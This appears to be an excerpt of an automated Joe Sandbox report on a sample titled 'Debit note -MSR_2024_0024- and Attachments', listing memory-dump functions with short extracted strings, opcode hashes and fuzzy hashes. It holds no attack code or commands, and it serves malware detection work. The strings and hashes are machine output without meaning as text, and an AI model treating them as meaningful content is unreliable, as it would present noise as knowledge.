Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: %$*$,$acs!
API String ID: 0-66618273
Opcode ID: ce9c5d311c398786e6f80cde778dbf744cec2a542c71c2c13321e2188421edb9
Instruction ID: d5401e307f5fa6a504c05d5b254597acf6ed3df63050f37fdf1c13dcba8d533b
Opcode Fuzzy Hash: ce9c5d311c398786e6f80cde778dbf744cec2a542c71c2c13321e2188421edb9
Instruction Fuzzy Hash: 11518375E4614E9FEB80CFA5E941BBFBAF1AB45301F586125A005E7340C7BCDA468B84

Function 06BE4B98 Relevance: 4.0, Strings: 3, Instructions: 246COMMON

Download Yara Rule

Strings

TJcq, xrefs: 06BE4D4A
xbaq, xrefs: 06BE4CD5
Te^q, xrefs: 06BE52CB

Memory Dump Source

Source File: 00000000.00000002.1938907646.0000000006BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6be0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: TJcq$Te^q$xbaq
API String ID: 0-3225726259
Opcode ID: 42ebd7da8f0c32bdfc0fdfd95fefa76c15c7f53c7e11bd2d5f818213f4fd93c6
Instruction ID: 29acbb193d9c083e56b48a912cfc8bdf988749a0b4fc1a8de7c27973c43955c6
Opcode Fuzzy Hash: 42ebd7da8f0c32bdfc0fdfd95fefa76c15c7f53c7e11bd2d5f818213f4fd93c6
Instruction Fuzzy Hash: 43C15775E016188FDB68CF6AC9446DDBBF2AF89304F14C1AAD809AB265DB305E81CF50

Function 06D1AC5A Relevance: 3.9, Strings: 3, Instructions: 168COMMON

Download Yara Rule

Strings

*, xrefs: 06D1AE66
%, xrefs: 06D1AE97
acs!, xrefs: 06D1ABB7

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: %$*$acs!
API String ID: 0-4232109620
Opcode ID: 07f0c46d3303d6f2fb153f40b36cd85e01846ecee4fe484dc94f5b5d6a9afb6c
Instruction ID: fec7940f302b8957b07bb3febc6b471a362cca0c50c69b46a47195c262274da0
Opcode Fuzzy Hash: 07f0c46d3303d6f2fb153f40b36cd85e01846ecee4fe484dc94f5b5d6a9afb6c
Instruction Fuzzy Hash: 4951A475E4624E9FEB80CFA5D845BBFBAF1AB46301F58A125A005F7340C7BCD9428B84

Function 06D1AC43 Relevance: 3.9, Strings: 3, Instructions: 168COMMON

Download Yara Rule

Strings

*, xrefs: 06D1AE66
%, xrefs: 06D1AE97
acs!, xrefs: 06D1ABB7

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: %$*$acs!
API String ID: 0-4232109620
Opcode ID: 07d3984211495c88b5e9aa16795fafb1e91c9608a3bedad58790ad0d86a3fa2f
Instruction ID: 00250f4035ad9d5c5bb0a7f5c5c343341deadb953288e19c1c1037c77e056f8d
Opcode Fuzzy Hash: 07d3984211495c88b5e9aa16795fafb1e91c9608a3bedad58790ad0d86a3fa2f
Instruction Fuzzy Hash: AB518075E4624E9FEB80CFA5D841BBFBAF1AB46301F58A125A005F7340C7BCD9468B84

Function 06D10013 Relevance: 3.9, Strings: 3, Instructions: 153COMMON

Download Yara Rule

Strings

@, xrefs: 06D100DA
TJcq, xrefs: 06D10174
), xrefs: 06D101A1

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: )$@$TJcq
API String ID: 0-3544240414
Opcode ID: 81a519bd3ecc87930cfaea05845945e7fd74c3174aae1d21342d19a7856b1b89
Instruction ID: 5dbc3ee4b068c3922e13725b917205d411c381091c855dcc7aa65f53214ce42b
Opcode Fuzzy Hash: 81a519bd3ecc87930cfaea05845945e7fd74c3174aae1d21342d19a7856b1b89
Instruction Fuzzy Hash: CD615770E052589FDB64CF6AD8546DEBBF2BF89300F14C0EAD449AB255DB305981CF50

Function 06D10040 Relevance: 3.9, Strings: 3, Instructions: 130COMMON

Download Yara Rule

Strings

@, xrefs: 06D100DA
TJcq, xrefs: 06D10174
), xrefs: 06D101A1

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: )$@$TJcq
API String ID: 0-3544240414
Opcode ID: 2dd3b3078a6c6d51517d5f04e55431c05664488261e046c19e9f51aa2c1b6b7a
Instruction ID: 1fb1b3f7201d7ae0526036d886e6c764251088e65acfb859257548c78eba8af7
Opcode Fuzzy Hash: 2dd3b3078a6c6d51517d5f04e55431c05664488261e046c19e9f51aa2c1b6b7a
Instruction Fuzzy Hash: B8510870E042189FDB54DF6AD8547DEBBF2BF89300F14C1AAD409AB255DB706981CF40

Function 06DF9B49 Relevance: 2.8, Strings: 2, Instructions: 339COMMON

Download Yara Rule

Strings

Te^q, xrefs: 06DF9DB2
Te^q, xrefs: 06DF9B8B

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: Te^q$Te^q
API String ID: 0-3743469327
Opcode ID: 3c0384ecfdabf420ea6eac2ba1b828e57766f858dd417e6aaf707d806b2753ff
Instruction ID: 496631c041766fa11f1268de2118c0d8a128872659f7fe71f02f68f968928d8b
Opcode Fuzzy Hash: 3c0384ecfdabf420ea6eac2ba1b828e57766f858dd417e6aaf707d806b2753ff
Instruction Fuzzy Hash: 0FF11270E04219CFEBA4CF69D894BA9B7F2FB49301F1180AAD60DAB254DB749D81CF50

Function 06DFF1A8 Relevance: 2.8, Strings: 2, Instructions: 332COMMON

Download Yara Rule

Strings

(bq, xrefs: 06DFF54C
,bq, xrefs: 06DFF29E

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: (bq$,bq
API String ID: 0-1616511919
Opcode ID: d8cf6b77897333055af17255189a211c9d3efdb0523daf7558f85244d0bb7000
Instruction ID: 117638a5d481993d18d1e1f45f9b8e8d88cbbc5c24f8ee35d7dd04f36ca7ea4a
Opcode Fuzzy Hash: d8cf6b77897333055af17255189a211c9d3efdb0523daf7558f85244d0bb7000
Instruction Fuzzy Hash: B1D11935A102098FDB54DF69C584A6DBBF2FF88311F26C4A9E905AB365D731EC81CB50

Function 01502088 Relevance: 2.7, Strings: 2, Instructions: 176COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0150214F
4'^q, xrefs: 0150217A

Memory Dump Source

Source File: 00000000.00000002.1921479569.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1500000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: d95bdc9e5ccc13982214b0a9ea101b1fc8945beee4a98f3b71b15bb4db8d462f
Instruction ID: d73dca17e704387afd47b57a92857773367fc697940e3c8086f2c1c21a3e682e
Opcode Fuzzy Hash: d95bdc9e5ccc13982214b0a9ea101b1fc8945beee4a98f3b71b15bb4db8d462f
Instruction Fuzzy Hash: 45712971E002099FE758DF7AE94169DBBF3FB88709F14C52AD4089B279EBB45806CB41

Function 01502098 Relevance: 2.7, Strings: 2, Instructions: 165COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0150214F
4'^q, xrefs: 0150217A

Memory Dump Source

Source File: 00000000.00000002.1921479569.0000000001500000.00000040.00000800.00020000.00000000.sdmp, Offset: 01500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1500000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 12919c27ca53d95f92fca930ee5bfa5fba405eab6fe6a4b6b9fcc3b97ccfef4f
Instruction ID: 4c0e1b24fc65065ef548f63a182b85edef0e00827c944817b5b4b83b2e5028b7
Opcode Fuzzy Hash: 12919c27ca53d95f92fca930ee5bfa5fba405eab6fe6a4b6b9fcc3b97ccfef4f
Instruction Fuzzy Hash: CB71F971A006099FEB58DF7AE54169DBBF3FB88709F14C42AD4089B279EBB45806CB41

Function 06C3E0A8 Relevance: 2.6, Strings: 2, Instructions: 89COMMON

Download Yara Rule

Strings

7, xrefs: 06C3E663
$, xrefs: 06C3E79D

Memory Dump Source

Source File: 00000000.00000002.1939450189.0000000006C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c30000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: $$7
API String ID: 0-2303751047
Opcode ID: 303001242460a3fc7778ba9c0715fa4b6c070dbc4aefd31e0b2a72125f76cf09
Instruction ID: 20f26268871be510a2a0e0a50cb341a6a28ff063002943b187d7c6c4e7f8e05e
Opcode Fuzzy Hash: 303001242460a3fc7778ba9c0715fa4b6c070dbc4aefd31e0b2a72125f76cf09
Instruction Fuzzy Hash: 0741E570D01228CFEB68CF6AC944BDEBBF2BB89300F14C0AAD418A7255DB705A85CF54

Function 06DF0040 Relevance: 2.6, Strings: 2, Instructions: 78COMMON

Download Yara Rule

Strings

1, xrefs: 06DF00C8
e, xrefs: 06DF0DA2

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 1$e
API String ID: 0-383263428
Opcode ID: 3b7eab559d187598668138e66307fc657406fd3e1e2bb1f36cf0ce574f7cd564
Instruction ID: ae3428d4209fdb931b411f05cb23f93ab26849d602b187ec4241f40f42e26a84
Opcode Fuzzy Hash: 3b7eab559d187598668138e66307fc657406fd3e1e2bb1f36cf0ce574f7cd564
Instruction Fuzzy Hash: D0312BB1E146188BDB58CF6BC84069EFBF7AFC8300F15C1AAD508AB259DB705946CF40

Function 06D11662 Relevance: 1.4, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

pqI, xrefs: 06D11745

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: pqI
API String ID: 0-1078129942
Opcode ID: fb947cc0d8b7fca319560ab4a2aaef739bfcf8aabed2c49ace8c03263c38c073
Instruction ID: 83d2d834d9490f3d0a585da2b6fc813935a4f86c53f3a96fe5d5d6de31c2b804
Opcode Fuzzy Hash: fb947cc0d8b7fca319560ab4a2aaef739bfcf8aabed2c49ace8c03263c38c073
Instruction Fuzzy Hash: F0513E70E15209EFDB94CFA9E8402AEBBF2AB48300F58C465D556EB354E774DA02CF90

Function 06BE1008 Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

, xrefs: 06BE1628

Memory Dump Source

Source File: 00000000.00000002.1938907646.0000000006BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6be0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 8f258b83310a79b82628c3e79f2a5394e2fb15afa3d3b8c9c9a6493653d3dd9e
Instruction ID: 2d17c7908434aa7f58cae4eaba081520b67785383b44d488a839b10ee0f15fce
Opcode Fuzzy Hash: 8f258b83310a79b82628c3e79f2a5394e2fb15afa3d3b8c9c9a6493653d3dd9e
Instruction Fuzzy Hash: 3E71B7B0D45269CFEB68CF5AC8487DDBAF6BB89305F14C0EAD40DA6254DBB14A85CF40

Function 06D11670 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

pqI, xrefs: 06D11745

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: pqI
API String ID: 0-1078129942
Opcode ID: ce9aced1a7a24d3462b8e99b6ffbb1a8edc64393e134dd99e813f64a7eeec973
Instruction ID: 7e79fea4ac315201de99aa063cdafdf3c546bcde85b7e6aa434851f788fa655c
Opcode Fuzzy Hash: ce9aced1a7a24d3462b8e99b6ffbb1a8edc64393e134dd99e813f64a7eeec973
Instruction Fuzzy Hash: 04414FB0E1520AEFDB94CF69D8402AEB7F1AB88300F58C565D556EB354E374DA02CF90

Function 065C0040 Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

#, xrefs: 065C1485

Memory Dump Source

Source File: 00000000.00000002.1937124691.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: d3f044126ac9bdc4cf14dc34448a38c8191ad831a9cb5d5e21d846ca4bc12cde
Instruction ID: 9a1d5614bf68b9a23fef8cd9706d2e34b51f26590887f8d9dad141565c8feaf4
Opcode Fuzzy Hash: d3f044126ac9bdc4cf14dc34448a38c8191ad831a9cb5d5e21d846ca4bc12cde
Instruction Fuzzy Hash: 15512470D05628CFEBA4CF9AC8447A9B7B6BB89315F40D4EAC40DB7290D7750A88CF55

Function 065C003E Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

,, xrefs: 065C01E7

Memory Dump Source

Source File: 00000000.00000002.1937124691.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: db347de0c600bf145b9d5dd1be555489a3c0247798a35d955acfd5eaa32cf92f
Instruction ID: 2e420b303d631243bc0929026906c20ec8089b9a752e6dac84f5d1cc9d6ac9a4
Opcode Fuzzy Hash: db347de0c600bf145b9d5dd1be555489a3c0247798a35d955acfd5eaa32cf92f
Instruction Fuzzy Hash: EB411370D01668CFEBA4CF9AC844B99B7B6BB89311F41D4AAC409B3290D7750A88CF64

Function 06D1B310 Relevance: 1.4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

Strings

", xrefs: 06D1B6A4

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 987dd591a77c65d71724011d2678df006edc9859be70a517fd2e6f49e1276bee
Instruction ID: 8fac53c509105ca0d0ba3887924a784ca4e28e912d5d78786672b8acf4eb5d69
Opcode Fuzzy Hash: 987dd591a77c65d71724011d2678df006edc9859be70a517fd2e6f49e1276bee
Instruction Fuzzy Hash: 1E315A71E05608DFEB44CFAAD8446EDBBF6FB89304F04D16AD405AB251C7B89A42CB51

Function 06C30088 Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

<, xrefs: 06C30157

Memory Dump Source

Source File: 00000000.00000002.1939450189.0000000006C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c30000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: 478743927e54fd1137a5a479a8da64516d5af11cd9a6ffc857c6b2950cbf5222
Instruction ID: 054ea158e92200d7c9f39bfd67415630f69ddb84a31cde4d3216d23696fca346
Opcode Fuzzy Hash: 478743927e54fd1137a5a479a8da64516d5af11cd9a6ffc857c6b2950cbf5222
Instruction Fuzzy Hash: FB319AB1E156288FEB5DCF6B9C4069AF6FBAFC9304F04D1AA994CA6214DB744A418F40

Function 070E0040 Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

W, xrefs: 070E0461

Memory Dump Source

Source File: 00000000.00000002.1942103729.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70e0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: W
API String ID: 0-655174618
Opcode ID: f8d0bda284fd9e9cdc1c45a342d51e2ee368d92095c72562a7e4163a5b3d0907
Instruction ID: 47ce2bf3b90740cd345433c355645237758577713803fe43e6be17ade7e66a78
Opcode Fuzzy Hash: f8d0bda284fd9e9cdc1c45a342d51e2ee368d92095c72562a7e4163a5b3d0907
Instruction Fuzzy Hash: CC31CDB1D056198BEB68CF2AC94879DB6F7BF89300F14C1EAD51CA6254DB740A85DF01

Function 06C30085 Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

<, xrefs: 06C30157

Memory Dump Source

Source File: 00000000.00000002.1939450189.0000000006C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c30000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: 5c6039cff7d36bb90d0e088ac0edf029407df3f12e2725120ee4243ee06baf75
Instruction ID: 544acc0008a166252f076573e723882649e72cbc269b2ecfbcf7fad856a84b2c
Opcode Fuzzy Hash: 5c6039cff7d36bb90d0e088ac0edf029407df3f12e2725120ee4243ee06baf75
Instruction Fuzzy Hash: 79219171E056288BEB5DCF6B9C0069AF6FBAFC9704F04D1BAD54CA6214DB7007418F41

Function 06DF003D Relevance: 1.3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

1, xrefs: 06DF00C8

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 1
API String ID: 0-2212294583
Opcode ID: a39fd0f88e0b9a75972a1e24670f26e3edd7ed1778d37ae1ee1af8fcc2f6062c
Instruction ID: 0c48029b95fbd5cbceed1eb1f32b7a5844b4524c4d5aa6e9aea941e039775dcc
Opcode Fuzzy Hash: a39fd0f88e0b9a75972a1e24670f26e3edd7ed1778d37ae1ee1af8fcc2f6062c
Instruction Fuzzy Hash: 5111A7B1E056188BEB6CCF6B984019EFAF7AFC8300F14C4BAD508AB265DB700946CF44

Function 06C361B0 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1939450189.0000000006C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c30000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d39d68eca84695ecb07f626da8a72ce098417fcf7050346c49de80e03a9c60a
Instruction ID: ca3c559e56f93a26dd936c1904f03b7287e79462af5b8c242e3bcbdb18a6b936
Opcode Fuzzy Hash: 1d39d68eca84695ecb07f626da8a72ce098417fcf7050346c49de80e03a9c60a
Instruction Fuzzy Hash: 7F12A371E006289FDB54CFAAC98069DFBF2BF88304F24C169D459EB21AD734A946CF54

Function 06E7DC11 Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941932242.0000000006E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e70000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 441a93ab650194b0f00d7349968a0ef9f5cc496b2d0852fd95748178ba6b12ed
Instruction ID: 454b18f391943a281dd46e718289a093a2cba16dc1f00c323c6259a29b09a3bf
Opcode Fuzzy Hash: 441a93ab650194b0f00d7349968a0ef9f5cc496b2d0852fd95748178ba6b12ed
Instruction Fuzzy Hash: 91B12370E05209DFEB94CF69D884BADBBB2FF89305F2090A9D509AB295DB745D81CF00

Function 06E7DC20 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941932242.0000000006E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e70000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5454d134c240a67cd12553a0a118660307406d285ce17c27db7b412ae482a673
Instruction ID: 3c5034ba69c2607871f088f34ebd8b6a1a5a5a43790899b6042ce2685ce890c9
Opcode Fuzzy Hash: 5454d134c240a67cd12553a0a118660307406d285ce17c27db7b412ae482a673
Instruction Fuzzy Hash: 00B10370E05209DFEB94DF69D884BADBBB2FF89305F2090A9D509AB294DB745D81CF01

Function 06BEAE18 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1938907646.0000000006BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6be0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a12aaf2df0b8aed3502838ec698f4bdf2218fa4faa37c459bd644ca9492dd0db
Instruction ID: 40c90ca7bf4b54b83cd5b27b767e45b2452b5aaba56b8acab4989c9324770089
Opcode Fuzzy Hash: a12aaf2df0b8aed3502838ec698f4bdf2218fa4faa37c459bd644ca9492dd0db
Instruction Fuzzy Hash: 4A91F0B0D15608CFEF84DFA9C5443EEBBF5EB88304F2092AAE419B7254D7781A45CB94

Function 06D14DE8 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940857089.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d10000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e797df7d48776fded5d142c78d31a16d766923c5e08b7c24f8e671cace42cfeb
Instruction ID: 67bac3ca06e831cd96d14798e91a9d1c5329761c040de2ffe9a0ff208627d119
Opcode Fuzzy Hash: e797df7d48776fded5d142c78d31a16d766923c5e08b7c24f8e671cace42cfeb
Instruction Fuzzy Hash: 9B91A0B4E00209DFDB48CF99D484A9DBBF2FF88314F148169D815AB355D774A986CFA0

Function 070FE270 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1942103729.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70e0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14aa510a8dfcbfcd1fd31d6aef272e26e5a6eedc55ac9bc4fa91ad5c90b25888
Instruction ID: 35989a24b1cc1930b7179995934d1d721f070353f89ed64e389d2dda31a3156c
Opcode Fuzzy Hash: 14aa510a8dfcbfcd1fd31d6aef272e26e5a6eedc55ac9bc4fa91ad5c90b25888
Instruction Fuzzy Hash: 3B816BB0D04218CFDB64DFA9C8447DEBBF2BF8A314F1485A9C119AB661EB745986CF01

Function 06DF5D31 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: badfbd12bbc5a894fb08ebca43299b1b0797f8430dd502fc314e807e8552f29d
Instruction ID: 6417cc18ef708c4db611707c80cad9a8a5379b88968d2dd32ad7e697981d82ce
Opcode Fuzzy Hash: badfbd12bbc5a894fb08ebca43299b1b0797f8430dd502fc314e807e8552f29d
Instruction Fuzzy Hash: 47714A70E15258CFEBA0CFA6E944BADB7F2FF49301F2180A9D109AB255D7749985CF40

Function 06CFD130 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c128be6b13e2705d1bfd5c3c14652a546387c863475faa38f87993ba1fe4d045
Instruction ID: 402443263ff34a7be3637e3952f7d58056d9a8068191ec6eae4b4a1d3eff5881
Opcode Fuzzy Hash: c128be6b13e2705d1bfd5c3c14652a546387c863475faa38f87993ba1fe4d045
Instruction Fuzzy Hash: 4D510470D15208DFEB94CFA9D448BEDBBB2FF49315F20906AD50AA7290C775AD46CB40

Function 06CFD140 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cca4e129185dedaf1b39b16ce05069f8e0b5985e3619d75f8e723d405256f04
Instruction ID: 32f04ad55224d7f4dbd5517f97fee3c9dd8d9c825322b5cc8c26db3cccf08b97
Opcode Fuzzy Hash: 0cca4e129185dedaf1b39b16ce05069f8e0b5985e3619d75f8e723d405256f04
Instruction Fuzzy Hash: 37511370D15208CFEB94CF99D448BEDBBB6FF49315F20902AD60AA7250C775AD45CB80

Function 06E715C0 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1941932242.0000000006E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e70000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ce5a7018e1e1fba72bd672531e669ad271d6539639a6268cd7e29abbd40d6d8
Instruction ID: ef77bbd5ec7b317de1bd291c24cc20aad65c7c6512e068e55f2bb36a12e19a3f
Opcode Fuzzy Hash: 6ce5a7018e1e1fba72bd672531e669ad271d6539639a6268cd7e29abbd40d6d8
Instruction Fuzzy Hash: F251D370D05328CFEB64CF9AD844BDDBBB6BB89300F0891AAD409AB250DB745A85CF51

Function 06C361A1 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1939450189.0000000006C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c30000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc1cab20c64f923a5d8c3525413ed4dc4b0e7ba28be73c405c30a837e553ce89
Instruction ID: 2581011bccd441e89008b7c0f7252e45b89a3e9f8857758412d7633bb855388c
Opcode Fuzzy Hash: dc1cab20c64f923a5d8c3525413ed4dc4b0e7ba28be73c405c30a837e553ce89
Instruction Fuzzy Hash: 6B4156B1E016199BDB58CFABD94059EFBF3AFC8300F14C17AD958AB224EB3059468F54

Function 06C36868 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1939450189.0000000006C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C30000, based on PE: false

Joe Sandbox IDA Plugin

